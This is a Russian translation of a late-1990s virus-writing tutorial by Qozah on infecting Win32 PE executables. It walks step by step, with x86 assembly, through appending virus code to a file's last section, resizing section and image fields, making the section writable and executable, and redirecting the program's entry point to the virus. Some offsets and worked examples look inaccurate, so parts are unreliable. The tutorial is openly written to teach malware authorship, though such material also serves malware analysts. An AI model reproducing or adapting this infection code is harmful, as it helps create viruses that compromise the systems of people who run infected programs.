ZF

                 УЧЕБНИЕ ПО ИНФИЦИРОВАНИЮ WIN32 PE 
                    
                +---------------------------------+
                |УЧЕБНИК ПО ИНФИЦИРОВАНИЮ WIN32 PE|
----------------+   WIN32 PE INFECTION TUTORIAL   +--------------------
                +-----------+ By Qozah +----------+

             (Вольный перевод - (с) DrMad, 1999)

    Цели данной статьи
    ~~~~~~~~~~~~~~~~~~
    Я написал  эту  статью  совсем  скоро  после  того,  как я научился
инфицировать РЕ,  так что все концепции сохранились в памяти,  особенно
те вещи,  которые было особенно трудно разрабатывать. Описываемый метод
инфицирования состоит в дописывании вируса к последней секции файла, но
основная  проблема  состоит в том,  чтобы вы ПОНЯЛИ,  как это работает.
Если вы поймете это,  вы сможете делать любые изменения самостоятельно,
такие  как  добавление  другой  секции,  инфицирование области .reloc и
прочая-прочая-прочая. Вы можете просто копировать/вставить мой фрагмент
инфицирования  РЕ в чистом виде,  но вы никогда не сможете понять,  как
это работает, и это прискорбно.

    Я надеюсь помочь вам,  я написал это с мыслью научить вас,  так что
постарайтесь помочь и мне в достижении цели.


    Формат PE
    ~~~~~~~~~

    У вас  есть  немножко  ресурсов,  чтобы  разобраться  в РЕ-формате;
лучший,  вероятно,  это труд Matt Pietrek, который вы можете утянуть на
домашней страничке Griyo/29A.

    PE структурирован так:

   +-------------------+
   |  MZ Заголовок     |
   +-------------------+
   |      PE\0\0       |
   +-------------------+
   |ЗАГОЛОВОК_ОБРАЗА   |
   +-------------------+
   |                   |+
   +-------------------+|НЕОБЯЗАТЕЛЬНЫЙ_ЗАГОЛОВОК_ОБРАЗА
   |   Каталог данных  |+
   +-------------------+
   |   Таблица секций  |
   +-------------------+
   |                   |
   |     Секции        |--- .reloc, .edata, .idata, .text, etc
   |                   |
   +-------------------+

    Короче, я могу сказать вам, где располагается ДОС-заголовок (там же
обычно располагается  программа,  которая  при  загрузке  говорит  вам:
"кретин,  это  же  win32",  если  вы  пытаетесь  запустить  ее в другой
операционке), далее - Заголовок Файлового Образа (главная часть), далее
-   Необязательный   Заголовок   (который   может  рассматриваться  как
разделенный на 2 части),  Таблица Секций и, окончательно, данные секций
(это может быть стек, код, данные и пр.)

    Инфицирование PE-файла
    ~~~~~~~~~~~~~~~~~~~~~~

    Допустим, вы имеете открытый файл для инфицирования:  я не  имею  в
виду,  что  вы  используете файл в виде карты в памяти или доступ через
указатели  (yuck!),  но  в  этот  момент  вы  должны  остановиться.   Я
предполанаю,  что  вы имеете в edx (почему бы нет?) указатель на начало
файла в карте памяти.

    Первым делом вам надо найти РЕ-заголовок, и это делается обращением
к  смещению  03Ch  в  MZ-заголовке.  Если вы хотите выполнить некоторые
проверки, сравните ds:[dx] с 'MZ' и 'ZM':

    cmp     word ptr ds:[edx],'M'+'Z'
    jz      end_infection
    mov     edx,dword ptr ds:[edx+3ch] ; Смещение реального
                                       ; РЕ-заголовка

    Ваша следующая цель - проверить, действительно ли это РЕ-программа.
Вы можете сделать это проверкой первых четырех байтов по этому смещению
с "PE\0\0", что означает РЕ и два обнуленных байта :-Р.

    cmp     word ptr ds:[edx],'EP'
    jz      end_infection

    Теперь начинается   настоящая   потеха,   и   вы   должны    слегка
побезобразничать в РЕ. Вместо того, чтобы предоставить фрагмент кода, я
лучше объясню,  чтобы вы ПОНЯЛИ, какую #$$%-вину мы собираемся сделать.
Я не хочу,  чтобы кто-нибудь,  интересующийся инфицированием, занимался
простым копированием меня,  но чтобы он в первую очередь  понимал,  что
именно я от него хочу.

    Сначала вы  дрлжны определить,  какая РЕ-секция является последней.
После  ЕХЕ-заголовка  и  Заголовка  Образа  размещается  Необязательный
Заголовок...  и окончательно,  мы можем обнаружить Таблицу секций, т.е.
место,  где размещается  описание  и  некорая  информация  о  найденных
секциях.   Если   мы  хотим  добавить  свой  код  к  последней  секции,
модифицирование этой таблицы совершенно необходимо.

    Первая проблема,  в которую втыкаются программеры...  как добраться
до Таблицы Секций? Дык, существуют две возможности:

    - Заголовок  Образа Файла занимает фиксированное количество байтов,
а именно 18h.  Итак,  чтобы найти Необязательный  Заголовок  Образа  мы
должны  сложить  наш  старый  edx  с этим количеством байтов.  Затем мы
знаем,  что  Таблица  Секций  располагается  СРАЗУ  ЗА   Необязательным
Заголовком Образа, но он в общем случае имеет переменную длину.

    Первый путь  более  сложен и не лучший:  эта таблица разделена на 2
части длина 1-й фиксирована - 60h байтов.  Эта часть содержит несколько
полей с важными для файла данными. Вторая часть переменной длины, и она
называется Каталогом Данных или "Каталогом_Данных_Образа".  Эта таблица
-  массив  вхождений,  которые  содержат  RVA  и некторую другую фигню,
которую мне влом описывать.  Важно то,  что вы можете взять  ее  длину,
обратившись по смещению 74h от PE\0\0 ( туда указывает наш EDX) и вслед
за этим посмотрев в Таблицу  Секций:  это  смещение,  которое  является
последним  полем  в первой части Необязательного_Заголовка_Образа,  его
зовут "NumberOfRvaAndSizes",  и означает  это  количество  вхождений  в
массиве Каталога Данных.

    - Но   давайте   не   усложнять   себе  жизнь.  У  нас  есть  такой
действительно  простой  метод,  как  длина  Необязательного  Заголовка,
сохраненная  в  слове  по  смещению 14h от "РЕ\0\0" ( должен ли я снова
намекнуть,  что это DX+14h? ). Итак, пусть у нас есть DX, передадим это
значение  в  SI,  добавим  18h  (так  что SI теперь указывает на начало
Необязательного Заголовка)  и  сложим  со  словом  по  смещению  DX+14h
(которое называется SizeOfOptionalHeader J ), и все это у нас в SI.

    Теперь зафиксируем,  что DX указывает на РЕ\0\0,  а SI указывает на
начало Таблицы Секций.

    mov     esi,edx
    add     esi,18h
    add     esi,dword ptr [edx+14h]

    Итак, поскокульку это сделано,  теперь мы  должны  найти  последнюю
секцию.  Структура, на которую мы указываем, - массив, который содержит
все секции в специфичкском формате,  занимая 28h байт на каждую запись.

    Место Длина Что это за фигня

    0h    8h    Имя секции ( .edata, .reloc, .p0rn )
    8h    4h    VirtualSize
    0ch   4h    SizeOfRawData
    14h   4h    PointerToRawData
    18h   4h    PointerToRelocations
    1ch   4h    PointerToLinenumbers
    20h   2h    NumberOfRelocations
    22h   2h    NumberOfLinenumbers
    24h   4h    Характеристики

    В этом месте, как вы можете подумать, надо просто сделать последнюю
секцию  побольше,  поскольку  последней  секции соответствует последняя
запись в массиве.  Гы-гы-гы,  обломчик-с,  это совсем не так.  И что же
дальше?  Дык,  мы имеем одно поле с именем "PointerToRawData",  которое
представляет собой указатель на  код  этой  секции.  Итак,  сейчас  вам
достаточно  проверить  все записи о секциях,  и та,  что содержит самую
большую PointerToRawData - есть то, что нам нужно.

    Конечно, мы  дожны  знать  количество  секций...  от  РЕ\0\0,   это
смещение 6h, слово, которое содержит это число:

    xor     ecx,ecx
    mov     cx,word ptr ds:[edx+06h] ; количество секций
    mov     edi,esi
    xor     eax,eax
    push    cx
X_Sections:
    cmp     dword ptr [edi+14h],eax ; PointerToRaw > текущего?
    jz      Not_Biggest
    mov     ebx,ecx                 ; сунем количество секций в ebx
    mov     eax,dword ptr [edi+14h] ; возьмем этот указатель
Not_Biggest:
    add     edi,28h  ; посмотрим на следующую запись в таблице
    loop    X_Sections

    pop     cx       ; Теперь вычтем из найденного
    sub     ecx,ebx  ; количество секций

    Теперь в ecx мы имеем число,  которое 0 для первой  секции,  1  для
второй  и  т.д.  Теперь  умножим  его на 28h (это длина каждой записи в
таблице) и добавим к esi,  чтобы получить ожидаемый доступ к  последней
секции:

    mov     eax,028h
    push    edx      ; Сохраняем PE-заголовок
    mul     ecx
    pop     edx
    add     esi,eax

    Итак, мы   должны  теперь  манипулировать  с  этой  секцией  файла.
Существуют три вещи,  которые необходимо  объяснить  сейчас,  когда  мы
просканировали записи в Таблице Секций.

    - VirtualSize  -  это  реальный размер секции,  количество байтов в
этой секции.

    - SizeOfRawData - тоже самое,  что и VirtualSize, но округленное до
размера выравнивания.

    - Alignment   (выравнивание)   (оно   размещено   в  Необязательном
Заголовке,  но не в этих полях в специфицированном вхождении в  секцию)
это размер файла в РЕ-заголовке, деленный на SizeOfRawData.

    Например, давайте  вообразим,  что  у  нас  есть секция,  в которой
VirtualSize равно  1256  байтов,  в  то  время  как  поле  Alignment  в
Необязательном  Заголовке содержит 200h.  Теперь мы можем легко узнать,
что поле  SizeOfRawData  ДОЛЖНО  быть  1400h.  Почему?  Потому  что  мы
округлили вверх 1256h к ближайшему числу, кратному Alignment (200h).

    Итак поскольку мы знаем как эти три поля данных работают, следующая
часть  не  должна  быть  сложной.  Дальнейшая  цель  -  сделать  секцию
подлинней,  так  чтобы  вирус  туда  уместился.  Для  этого  вы  должны
прибавить размер вируса к полю VirusSize прежде всего.

mov  edi,dword ptr ds:[esi+10h]  ; Сохраняем PointerToRawData
                                 ; (пригодится потом)
mov  eax,virlength
xadd dword ptr ds:[esi+8h],eax   ; Поменять и сложить
push eax
add  eax,virlength              ; Теперь eax = [esi+8h], т.е.
                                ; поле 8h плюс vir_length

    Теперь поле  VirtualSize  увеличилось,  и  значение   SizeOfRawData
должно быть неверно.  Представим,  что старое значение VirtualSize было
556h в то время, как Alignment было 200 h, а SizeOfRawData 600h... если
ваш вирус длиной 800h,  новое значение VirtualSize будет 0D56h, так что
теперь  SizeOfRawData   неверно:   это   значение   должно   составлять
VirtualSize,  округленное вверх к значению,  кратному Alignment; в этом
случае оно должно быть 0Eh (это число делится на 200h).

    Давайте псмотрим на следующий код:

    push    edx
    mov     ecx, dword ptr ds:[edx+03ch] ; Здесь выравнивание
    xor     edx,edx
    div     ecx         ; eax содержит виртуальный размер
    xor     edx,edx
    inc     eax         ; Это VirtualSize, деленное на
                        ; Alignment плюс 1.
    mul     ecx         ; Умножаем Alignment плюс eax,
                        ; и получаем новое SizeOfRawData
    mov     ecx,eax
    mov     dword ptr ds:[esi+10h],ecx ; Теперь здесь SizeOfRawData
    pop     edx

    Итак, все  идет  нормально,  не  так ли?  Теперь мы вычислили новое
значение SizeOfRawData и сохранили его. Что теперь? Вы берете величину,
которую  я  сохранил  в  стеке  перед этим и которая представляет собой
VirtualSize перед тем, как это поле было модифицировано вирусом (поле 8
h), и вы получаете новую точку входа.

    pop     ebx         ; Это VirtualSize - длина_вируса

    Это VirtualSize перед сложением с длиной вируса J

    Теперь время   сохранить   старый   адрес   точки   входа,  который
располагается по адресу 28h от РЕ\0\0.  Добавить больше нечего,  но как
получить новую точку входа?

    Давайте послушаем,  что  наш  друг  Mark  Ludwig говорит в описании
смещения 0Ch любого смещения в Таблице Секциий:

    0ch DWORD   VirtualAddress

    В ЕХЕ это поле содержит RVA для того, чтобы загрузчик мог загрузить
секцию.  Для  вычисления  реального  стартового  адреса данной секции в
памяти,  сложите  базовый  адрес  образа   с   VirtualAddress   секции,
сохраненного с этим полем.

    Итак, теперь стало легче,  верно? Мы берем VirtualAddress в секции,
затем прибавляем к СТАРОЙ длине  секции  и  вуаля!  Мы  получили  конец
секции... т.е. новую точку входа J

    add     ebx,dword ptr ds:[esi+0ch]         ; VirtualAddress
    mov     eax,dword ptr ds:[edx+028h]        ; Старый вход
    mov     dword ptr ds:[ebp+entry_point],eax
    mov     dword ptr ds:[edx+28h],ebx         ; Новый

    Теперь мы должны рассчитать выровненную длину файла:  это для всего
файла,  а не только последней секции.  Итак,  используя SizeOfRawData и
вычитая старую длину,  вы увидите,  насколько надо ее увеличить. Просто
добавьте  ее  к полю SizeOfImage и вы получите новый выровненный размер
файла.  Глядя на нижележащий код,  мы получим значение SizeOfRawData  в
ecx, которое мы вычли из значения в edi, котрое мы сохранили перед этим
(это старое значение SizeOfRawData)

    sub     ecx,edi
    add     dword ptr ds:[edx+50h],ecx ; прибавить к SizeOfImage

    Окончательно мы   устанавливаем  поле  Characteristics  из  Таблицы
Секций.  Вы не хотите, чтобы это вызвало проблему, да? Существует много
флагов,  коорые  могут быть установлены в этом поле (это смещение 24h в
каждом вхождении в таблицу),  таких как код, инициализированные данные,
неинициализированные данные, путое пространство, исполнимый код и пр.

    Мы хотим  сделать  эо  исполнимым  кодом,  кодом  и разрешенным для
записи,  так чо надо  сделать  OR  с  0x00000020  (код),  с  0х20000000
(исполнимый код) и 0х80000000 (записываемый).

    or      dword ptr ds:[esi+24h],0A0000020h

    Итак, мы  должны  скопировать  наш  вирус  в файл.  Извлекая edi из
стека,  я получаю страрый указатель на файл в памяти (он  прямо  там  и
находится), где размещается его начало (MapViewOfFile возвращает хэндл,
который является его базовым адресом).  Оно должно быть сохранено, если
вы  не  собираетесь  закрывать  размещенный  в карте памяти объект.  Вы
должны добавить к этому значению  PointerToRawData,  где  располагается
секция, затем добавьте старую длину секции (поскольку вы в концк ее).

    pop     edi
    push    edi
    add     edi,dword ptr ds:[esi+14h]
    add     edi,dword ptr ds:[esi+8h]
    mov     ecx,virlength
    sub     edi,ecx                   ; старая длина ;)
    lea     esi,[ebp+starts]          ; Здесь вирус стартует
    rep     movsb

    Итак, ничего не осталось.  Мы вычислили размер,  мы изменили  точку
входа и сохранили ее;  дальше - делайте,  что хотите.  Дальше вы должны
вернуться в оригинальную программу,  это важно =),  и,  конечно,  найти
путь,  чтобы  получить  GetProcAddress  и  GetModuleHandle  из  API для
саморазмножения, но это совсем другая история.

    З.Ы. Просто базовый адрес плюс старая точка входа,  и тады
ваще уже все J

     +-------------------------------+
-----+ Written by Qozah, Finland '98 +---------------------------------------
     |  Перевод - DrMad, 1999        |
     +-------------------------------+


(C) NF, 1998-2004